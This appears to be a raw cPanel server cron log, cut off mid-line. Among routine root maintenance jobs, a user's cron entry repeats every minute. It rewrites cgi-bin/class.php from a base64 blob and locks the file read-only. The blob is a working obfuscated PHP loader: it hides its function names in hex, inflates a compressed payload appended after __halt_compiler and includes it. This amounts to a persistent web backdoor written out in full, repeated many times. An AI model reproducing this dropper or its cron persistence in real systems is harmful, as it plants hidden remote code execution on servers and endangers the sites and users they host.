Sep  3 05:05:01 server CROND[19120]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:05:01 server CROND[19122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:05:01 server CROND[19118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:05:01 server CROND[19125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:05:01 server CROND[19126]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 05:05:01 server CROND[19123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:06:01 server CROND[19972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:06:01 server CROND[19973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:06:01 server CROND[19974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:07:01 server CROND[20356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:07:01 server CROND[20357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:07:01 server CROND[20358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:08:01 server CROND[20750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:08:01 server CROND[20752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:08:01 server CROND[20751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:09:01 server CROND[21251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:09:01 server CROND[21252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:09:01 server CROND[21253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:09:01 server CROND[21254]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 05:10:01 server CROND[21648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:10:01 server CROND[21649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:10:01 server CROND[21661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:10:01 server CROND[21662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:10:01 server CROND[21665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:10:01 server CROND[21664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:10:01 server CROND[21666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:10:01 server CROND[21669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:11:01 server CROND[22505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:11:01 server CROND[22506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:11:01 server CROND[22507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:12:01 server CROND[23064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:12:01 server CROND[23065]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:12:01 server CROND[23066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:12:01 server CROND[23067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:13:01 server CROND[23450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:13:01 server CROND[23449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:13:01 server CROND[23451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:14:01 server CROND[23892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:14:01 server CROND[23891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:14:01 server CROND[23893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:15:01 server CROND[24318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:15:01 server CROND[24319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:15:01 server CROND[24322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:15:01 server CROND[24324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:15:01 server CROND[24328]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:15:01 server CROND[24323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:15:01 server CROND[24325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:15:01 server CROND[24326]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 05:16:01 server CROND[25193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:16:01 server CROND[25194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:16:01 server CROND[25196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:17:01 server CROND[25585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxc